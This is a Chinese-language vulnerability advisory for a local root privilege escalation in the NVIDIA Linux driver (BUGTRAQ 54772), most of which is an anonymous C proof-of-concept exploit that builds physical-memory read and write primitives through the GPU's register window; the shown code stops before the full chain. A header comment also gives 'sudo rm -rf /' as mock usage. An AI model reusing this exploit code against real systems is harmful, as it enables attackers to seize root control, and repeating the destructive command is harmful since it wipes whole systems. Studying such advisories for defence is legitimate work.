发布日期:2012-08-01
更新日期:2012-08-03
受影响系统:
NVIDIA Linux Driver
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 54772
NVidia是世界领先的图形处理芯片和显卡制造商。
NVIDIA Linux Driver在实现上存在本地权限提升漏洞,本地攻击者可利用此漏洞提升权限并以root权限执行任意代码,从而控制受影响计算机。
<*来源:anonymous
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
anonymous ()提供了如下测试方法:
/* Anonymous
*
* How to use: sudo rm -rf /
*
* greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!
*
* Only complete fix patch nvidia drivers and redefine
* IS_BLACKLISTED_REG_OFFSET:
#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h>
#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff80000000L
#else
#define KERNEL_BASE 0xc0000000
#endif
#define ENTRY 0xdc
#define inline __attribute__((always_inline))
#ifdef __x86_64__
#define __kernel
#else
#define __kernel __attribute__((regparm(3)))
#endif
#define __used __attribute((used))
static unsigned long kernel_ofs_phys;
static volatile uint32_t *cve_2012_YYYY;
static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)
{
uint32_t i = (ofs & 3) * 8;
ofs >>= 2;
m[ofs] = (m[ofs] & ~(0xff << i)) | (val << i);
}
static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
if (1) {
uint32_t ofs = (target & 0x3ffff)/4, i;
if (target & 0xf) {
printf("[ ] Function requires 16-byte alignment for input!\n");
exit(-1);
}
cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
memset(buffer, 0, 16);
for (i = 0; i < 4; ++i) {
uint32_t shift = i * 8;
poke_byte(cve_2012_YYYY, 0x204, i);
buffer[0] |= (m[ofs/4] & 0xff) << shift;
buffer[1] |= ((m[ofs/4] & 0xff00) >> 8) << shift;
buffer[2] |= ((m[ofs/4] & 0xff0000) >> 16) << shift;
buffer[3] |= ((m[ofs/4] & 0xff000000) >> 24) << shift;
}
}
}
static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)
{
if (1) {
uint32_t i, ofs = (target & 0x3ffff)/4;
if (target & 0xf) {
printf("[ ] Function requires 16-byte alignment for output!\n");
exit(-1);
}
cve_2012_YYYY[0xf00/4] = 0xb | ((target >> 18) << 10);
for (i = 0; i < 4; ++i) {
int shift = 8 * i;
uint32_t val;
poke_byte(cve_2012_YYYY, 0x102, 1<<i);
val = (buffer[0] >> shift) & 0xff;
val |= ((buffer[1] >> shift) & 0xff) << 8;
val |= ((buffer[2] >> shift) & 0xff) << 16;
val |= ((buffer[3] >> shift) & 0xff) << 24;
m[ofs/4] = val;
}
}
}